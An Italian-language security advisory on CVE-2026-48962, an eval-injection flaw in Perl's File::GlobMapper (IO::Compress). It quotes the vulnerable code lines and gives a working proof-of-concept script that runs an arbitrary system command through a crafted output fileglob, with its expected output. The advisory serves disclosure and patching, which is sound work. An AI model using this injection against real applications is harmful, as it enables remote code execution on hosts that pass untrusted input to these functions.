joakimbulow/cve-2026-48962CVE-2026-48962 - IO::Compress - Esecuzione di codice
Una vulnerabilità di iniezione tramite eval in File::GlobMapper::_getFiles() consente a qualsiasi aggressore che possa controllare l'argomento fileglob di output passato a IO::Compress::Gzip::gzip(), IO::Compress::Zip::zip() o qualsiasi funzione affine di eseguire codice Perl arbitrario nel contesto del processo in esecuzione.
Non è richiesta alcuna autenticazione. L'impatto è totale: riservatezza, integrità e disponibilità del processo host sono completamente compromesse.
File::GlobMapper::_parseOutputGlob() costruisce un template per il nome del file di output racchiudendo il pattern di output fornito dal chiamante tra doppi apici Perl e salvando il risultato. _getFiles() passa poi quella stringa direttamente a eval senza alcuna sanitizzazione:
lib/File/GlobMapper.pm:316–321
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"'; # wrapped in double-quotes
$self->{OutputPattern} = $string; # stored verbatim — no escaping
lib/File/GlobMapper.pm:342
eval "\$outFile = $self->{OutputPattern};" ; # executed — injection point
File::GlobMapper viene invocato automaticamente quando sia l'argomento di input che quello di output di una funzione IO::Compress::* / IO::Uncompress::* sono stringhe fileglob (delimitate da < >). Questa è una convenzione di chiamata documentata e
comune. Le funzioni interessate includono gzip, zip, bzip2, deflate, rawdeflate e tutte le controparti IO::Uncompress::*.
Qualsiasi carattere che chiuda la stringa Perl delimitata da doppi apici circostante — un " letterale, un backtick, ${...} o @{...} — seguito da codice Perl arbitrario viene eseguito così com'è.
Salva come poc.pl ed esegui con perl poc.pl:
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);
my $dir = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";
# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;
my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);
print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";
eval { gzip "<$dir/*.txt>" => $malicious };
if (-e $sentinel) {
print "EXPLOITED — arbitrary command executed via eval injection\n";
print "Sentinel: $sentinel\n";
unlink $sentinel;
} else {
print "Did not fire (check error: $@)\n";
}
Output atteso:
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>
Confermato su IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04.
Questa è una vulnerabilità di esecuzione di codice remoto. Qualsiasi applicazione web, servizio API, strumento CLI o pipeline di elaborazione batch che accetti input utente e lo passi come argomento fileglob di output a qualsiasi funzione IO::Compress::* è vulnerabile. Il codice iniettato viene eseguito con tutti i privilegi del processo chiamante.
Chi è interessato: Sviluppatori e operatori di applicazioni Perl che usano funzioni IO::Compress::* con la convenzione di chiamata fileglob e in cui il pattern di output deriva da input non fidato - come template di nomi file da moduli web, parametri di API REST, argomenti CLI o file di configurazione controllati da utenti senza privilegi.
In contesti setuid o daemon privilegiati, lo sfruttamento produce esecuzione di codice a livello di privilegio elevato. Il bug è presente fin dalla versione iniziale di File::GlobMapper (≈ 2005) ed è presente in ogni distribuzione Linux che include il pacchetto perl.